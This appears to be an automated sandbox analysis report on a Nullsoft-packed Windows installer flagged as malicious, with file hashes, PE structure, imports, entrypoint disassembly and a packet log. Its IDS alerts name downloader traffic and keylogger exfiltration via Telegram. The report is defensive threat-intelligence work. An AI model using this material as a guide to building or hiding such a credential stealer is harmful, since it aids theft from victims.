Joe Sandbox View:	Filename: WGi85dsMNp.exe, Detection: malicious, Browse Filename: WGi85dsMNp.exe, Detection: malicious, Browse Filename: czHx16QwGQ.exe, Detection: malicious, Browse Filename: rXKfKM0T49.exe, Detection: malicious, Browse Filename: b5BQbAhwVD.exe, Detection: malicious, Browse Filename: 9Yn5tjyOgT.exe, Detection: malicious, Browse Filename: 6ZoBPR3isG.exe, Detection: malicious, Browse Filename: V7OHj6ISEo.exe, Detection: malicious, Browse Filename: 2CQ2zMn0hb.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.958154658093199
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4AMVusDMPP.exe
File size:	997'399 bytes
MD5:	ed6f1c14e085e4fbc7c47f894f2140b9
SHA1:	1757c800b765345d51a261e11ebe1d89f05c4865
SHA256:	815d6b508fab5d16a8190a479fb4b72a3916d9afe21393eeb506098cb1a93c3a
SHA512:	2b4e7c8669272fd353516d9ba3931536106d480fa11731b445715830098f3f74884f661702bdf25e3d50d1424920f08e1743b2ff4ca65291f3a8f3f98c7fe385
SSDEEP:	24576:9jwKCNd9QdnQK3gxR4Fm9/brSz8pCKDzJyhb1hy5xVgQ7O:V1CqnQc6YKPJyhbzyziV
TLSH:	0025230BF5C3EDAFC5A7C83598B65A97E8BBAD032480D143B374361E5C752E18826793
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007FBD04F21753h
push ebx
call 00007FBD04F24A1Dh
cmp eax, ebx
je 00007FBD04F21749h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FBD04F24997h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FBD04F2172Ch
push 0000000Ah
call 00007FBD04F249F0h
push 00000008h
call 00007FBD04F249E9h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007FBD04F249DDh
cmp eax, ebx
je 00007FBD04F21751h
push 0000001Eh
call eax
test eax, eax
je 00007FBD04F21749h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:22:56.569418+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49706	142.250.186.78	443	TCP
2025-01-11T01:23:01.587651+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49708	132.226.247.73	80	TCP
2025-01-11T01:23:09.493922+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49708	132.226.247.73	80	TCP
2025-01-11T01:23:10.131639+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49710	149.154.167.220	443	TCP
2025-01-11T01:23:10.402399+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49710	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:22:55.309345007 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:55.309362888 CET	443	49706	142.250.186.78	192.168.2.8
Jan 11, 2025 01:22:55.309446096 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:55.363490105 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:55.363526106 CET	443	49706	142.250.186.78	192.168.2.8
Jan 11, 2025 01:22:56.185502052 CET	443	49706	142.250.186.78	192.168.2.8
Jan 11, 2025 01:22:56.185579062 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:56.186259031 CET	443	49706	142.250.186.78	192.168.2.8
Jan 11, 2025 01:22:56.186314106 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:56.251631975 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:56.251682997 CET	443	49706	142.250.186.78	192.168.2.8
Jan 11, 2025 01:22:56.252084970 CET	443	49706	142.250.186.78	192.168.2.8
Jan 11, 2025 01:22:56.252156973 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:56.255968094 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:56.299328089 CET	443	49706	142.250.186.78	192.168.2.8
Jan 11, 2025 01:22:56.569380045 CET	443	49706	142.250.186.78	192.168.2.8
Jan 11, 2025 01:22:56.569519997 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:56.569550037 CET	443	49706	142.250.186.78	192.168.2.8
Jan 11, 2025 01:22:56.569603920 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:56.569762945 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:56.569808960 CET	443	49706	142.250.186.78	192.168.2.8
Jan 11, 2025 01:22:56.569861889 CET	49706	443	192.168.2.8	142.250.186.78
Jan 11, 2025 01:22:56.599575043 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:56.599606037 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:56.599678993 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:56.599936008 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:56.599950075 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:57.308810949 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:57.308940887 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:57.313714027 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:57.313728094 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:57.314136028 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:57.314208031 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:57.314613104 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:57.355336905 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:59.911990881 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:59.912100077 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:59.917577982 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:59.917866945 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:59.930141926 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:59.930253983 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:59.930275917 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:59.930352926 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:22:59.935959101 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:22:59.939536095 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.001990080 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.002227068 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.002275944 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.002275944 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.002295971 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.002413988 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.002423048 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.002505064 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.007819891 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.008852959 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.008863926 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.009010077 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.012815952 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.015564919 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.015575886 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.015638113 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.019098997 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.019176006 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.019200087 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.019249916 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.025326967 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.026171923 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.026180029 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.026231050 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.031683922 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.035553932 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.035563946 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.035670996 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.037817001 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.037911892 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.037919998 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.038007021 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.043915033 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.044243097 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.044255018 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.044460058 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.049159050 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.049314022 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.049323082 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.049421072 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.065597057 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.065682888 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.065828085 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.065840960 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.067965031 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.068038940 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.068051100 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.068170071 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.092554092 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.092693090 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.092705965 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.092788935 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.092794895 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.092840910 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.092876911 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.092878103 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.092886925 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.092904091 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.093012094 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.093012094 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.093550920 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.093635082 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.093677044 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.093687057 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.093732119 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.093740940 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.093797922 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.096827030 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.096899033 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.098367929 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.098511934 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.102272987 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.102451086 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.102458954 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.102524996 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.107243061 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.107521057 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.107532024 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.107579947 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.112201929 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.112282991 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.112292051 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.112390995 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.116775990 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.116938114 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.116954088 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.117068052 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.121553898 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.121629000 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.121638060 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.121695042 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.126187086 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.126283884 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.126291990 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.126326084 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.130695105 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.130800962 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.130846024 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.131022930 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.135329962 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.135395050 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.135406017 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.135817051 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.139938116 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.140085936 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.140095949 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.140140057 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.144313097 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.144531012 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.144539118 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.144639969 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.148511887 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.148607016 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.148632050 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.148648024 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.148750067 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.148788929 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.148788929 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.148788929 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.148806095 CET	443	49707	142.250.185.129	192.168.2.8
Jan 11, 2025 01:23:00.148852110 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.148852110 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.148888111 CET	49707	443	192.168.2.8	142.250.185.129
Jan 11, 2025 01:23:00.588213921 CET	49708	80	192.168.2.8	132.226.247.73
Jan 11, 2025 01:23:00.593149900 CET	80	49708	132.226.247.73	192.168.2.8
Jan 11, 2025 01:23:00.593233109 CET	49708	80	192.168.2.8	132.226.247.73
Jan 11, 2025 01:23:00.593863964 CET	49708	80	192.168.2.8	132.226.247.73
Jan 11, 2025 01:23:00.598659039 CET	80	49708	132.226.247.73	192.168.2.8
Jan 11, 2025 01:23:01.328577995 CET	80	49708	132.226.247.73	192.168.2.8
Jan 11, 2025 01:23:01.333426952 CET	49708	80	192.168.2.8	132.226.247.73
Jan 11, 2025 01:23:01.338337898 CET	80	49708	132.226.247.73	192.168.2.8
Jan 11, 2025 01:23:01.543998957 CET	80	49708	132.226.247.73	192.168.2.8
Jan 11, 2025 01:23:01.587651014 CET	49708	80	192.168.2.8	132.226.247.73
Jan 11, 2025 01:23:02.986728907 CET	49709	443	192.168.2.8	104.21.32.1
Jan 11, 2025 01:23:02.986773968 CET	443	49709	104.21.32.1	192.168.2.8
Jan 11, 2025 01:23:02.986839056 CET	49709	443	192.168.2.8	104.21.32.1
Jan 11, 2025 01:23:02.989865065 CET	49709	443	192.168.2.8	104.21.32.1
Jan 11, 2025 01:23:02.989883900 CET	443	49709	104.21.32.1	192.168.2.8
Jan 11, 2025 01:23:03.458486080 CET	443	49709	104.21.32.1	192.168.2.8
Jan 11, 2025 01:23:03.458579063 CET	49709	443	192.168.2.8	104.21.32.1
Jan 11, 2025 01:23:03.462100029 CET	49709	443	192.168.2.8	104.21.32.1
Jan 11, 2025 01:23:03.462121964 CET	443	49709	104.21.32.1	192.168.2.8
Jan 11, 2025 01:23:03.462490082 CET	443	49709	104.21.32.1	192.168.2.8
